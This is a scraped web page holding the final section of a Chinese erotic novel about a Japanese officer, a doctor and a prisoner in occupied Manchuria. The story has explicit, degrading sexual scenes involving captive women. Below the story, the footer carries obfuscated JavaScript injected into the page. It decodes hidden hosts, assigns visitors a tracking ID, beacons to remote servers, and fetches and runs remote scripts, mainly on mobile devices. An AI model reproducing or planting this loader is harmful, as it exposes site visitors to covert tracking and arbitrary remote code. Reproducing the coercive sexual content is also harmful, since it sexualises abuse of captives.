女人好似被巨大的快感感染,挺腰耸臀,迎合那根巨大肉棒,没有一点不适。

「妈拉巴子,还是老毛子女人大屁股大胯的抗肏。 」王大顶将女人雪白丰满的双腿扛到肩上,双手摁在两个大肉球上来回揉动,腰身用力,连肉棒带肉蛋一下拔了出来,紧接着又是一阵直出直入,急抽猛插了五六百下。

「喔——喔——」白俄娘们终于有些受不了了,眼冒金星,全身发抖。

「他妈的,你再浪啊。」王大顶将女人翻了个身,白俄女人的腰身有些赘肉,有些松耷,不过那雪白的大屁股却很养眼。

王大顶对准这外国娘们的屁眼,狠劲顶入。

「嗷——」随着一阵狼嚎般的叫声,两具大汗淋漓的肉体又开始疯狂扭动,只听到「兹咕!兹咕!」的抽插声,只听到「啪,啪,啪」的拍击声,只听到粗重的喘息声,只听到野兽般的吼叫声。

每次撞击,女人肥大的臀部都如同波浪般的一阵翻滚,王大顶兴奋起来,甩手开始「啪啪」地拍打起来,老毛子女人摇了摇屁股,抖动得更加激烈,浑圆的屁股疯狂的扇动起来,差点把王大顶顶翻。

「妈的,老子可不丢这人。」王大顶掐住女人肉感的腰身,蹲成马步,狠顶猛抽。

约莫纠缠了二十多分钟,俄国女人终于败下阵来,全身一阵哆嗦,身子软了下去。

王大顶将女人翻到正面,跨在她胸前,将那根粗大鸡巴夹在雪白的胸脯中,又是一阵抽动。

女人的胸部并不坚挺,但柔软滑腻,鸡巴裹在中间舒服得很,王大顶在女人胸前纵横驰骋,终于将一泡精液都喷在了俄国女人的脸上。

老毛子女人无意识地舔了舔嘴唇,对脸上的脏东西擦都没擦。

朝鲜小姐妹抱在一起,低声哭泣。

日本女人还如同一滩烂泥,瘫倒在草堆上。

王大顶来到日本女人身前,一泡新鲜出炉的热尿滋到了女人身上,女人身子抖了抖,还没有醒来。

王大顶拿起桌上的一瓶伏特加,仰脖灌了一大口,「噗——」又吐了出来,「一股子马尿味,操,这到底是咋回事呀!」

四、结局

观摩了王大顶一夜的表现,铃木谦三非常满意,整日缠着柳翰文什么时候可以用药,柳翰文开了个方子,让他先按这个抓药,随后提了个要求,他想见见王大顶。

王大顶还是被关在一间单人牢房里,酒肉管够,铃木担心他营养不足,神根失了药性。

看到柳翰文,王大顶很惊讶,「柳郎中,你怎么也进来了?」柳翰文微笑,他觉得这时候没必要和王大顶计较什么了,马上要死的人,还不是个全尸,连祖坟都进不去,下辈子投胎能不能做全乎人还不知道呢。

「和你一样。」柳翰文而今就当是猫戏耗子了。

「哦?」王大顶有些意外,抱拳道:「没想到柳郎中也是抗联,失敬。」柳翰文笑了笑,「哪比得上少东家,蹲笆篱子还这般逍遥。」「操,别他妈提了,不知小日本安的啥鬼心眼子,酒肉管饱不说,还给女人睡。」王大顶把嘴一撇,「开始让我睡抗联的女人,我操,抗联的人没见过,但我佩服他们是汉子,帮狗吃食的事可不干,找了个由头要睡外国娘们,还真给找了几个。」柳翰文装作惊讶,「还有这好事?」

「日本人又不是彪子,干啥又给酒肉又给娘们的,我寻思是不是要拿我做啥实验。」王大顶小声说。

「不会吧。」柳翰文有些心虚。

「这帮烂屁眼子的不会有啥好心思。」王大顶往外看了看,「柳郎中,你关在哪里?」柳翰文随手指了指对面的房子,「那里,咋地?」王大顶轻声说:「老爷子让人给传话过来,五根大黄鱼,请了金山好、盖辽东几个绺子今晚劫大牢,做好准备,把你也带出去。」柳翰文愣了,「少东家,这样的事知道人越少越好,干啥告诉我?」王大顶郑重地行了个江湖礼,「桂芝的事是兄弟对不住,权当补偿,再说乡里乡亲一场,也不能见死不救。」柳翰文默不出声,缓缓转身出去,到门口时又突然问了一句,「少东家,你在县里洋学堂好好地念书,为啥跑回家去?」如果以前,柳翰文认为王大顶脑子被驴踢了,可现在看,这小子是个明白人啊,忍不住把心里疑惑问了出来。

「没啥,在学校就必须学日文,说日本话,这他妈一毕业,老子不成了外国种啦,卖祖宗的事谁他妈爱干谁干,老子不干。」王大顶拨楞着大脑袋说道。

柳翰文没再说话,回到了自己房里。

半夜,果然枪声大作,打得很激烈,土制盒子炮的枪声和香瓜手雷的爆炸声震动了整个县城。

第二天一早,守备队多了十几具尸体,其中包括王大顶的。

「八嘎,八嘎。」铃木谦三对着昨晚参战的日军士兵一顿三宾得给,打得一个个都成了猪头,不为别的,担心人死后神根失效。

直到柳翰文告诉他死的也能用时,才消了气。「伤亡多少?」放下心的铃木终于想起问自家损失。

「报告!」一个被打得嘴上漏风的日本军曹汇报:「我部阵亡十一人,伤五人,对方救人后还企图攻击弹药库,被守卫部队击溃。」柳翰文看着守备森严的仓库说不出话,没想到自己随手指出的地方竟然是鬼子弹药库。

「救人后还要攻击弹药库?」铃木摸着自己的仁丹胡,心有余悸,「中国胡子,厉害!」当几副药下去后,铃木果然感到有了起色,那根十几年来死气沉沉的东西有了反应,柳翰文一再告诫铃木,完全康复之前不要近女色,铃木只好强自忍住寻欢作乐的想法。

随着铃木病情渐好,柳翰文的看管也松了下来,允许亲人探视。

柳翰文递给来探视的桂芝一个包裹,嘱咐她拿回家去。

看着妻子已经显怀的小腹,柳翰文轻声道:「孩子生下来,不管像谁,都好好养大,教他做中国人,包袱里的三根金条够你们娘俩过日子的了。」「当家的……」桂芝有些哽咽。

「我对不住你呀!」柳翰文掩面而去。

桂芝拿走包袱,里面有柳翰文替换下来的王大顶的命根子,按照男人嘱托,桂芝将这东西埋在了王家祖坟,随后再也没有回家。

一个月后,关东军军部接到滨江省巴彦县守备队电报:「大日本帝国陆军第四师团少佐铃木谦三驻守巴彦期间,为当地医生柳翰文毒杀,经查,柳犯系抗联分子,被捕前已服毒自尽。铃木谦三少佐作为帝国武士未能玉碎阵前,实为军人之耻,抗联分子穷凶极恶,拟请军部批准:第四师团联合第八师团,对辖区内反日分子进行武装讨伐,以昭铃木谦三少佐武士英灵……」

【完】
  
关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();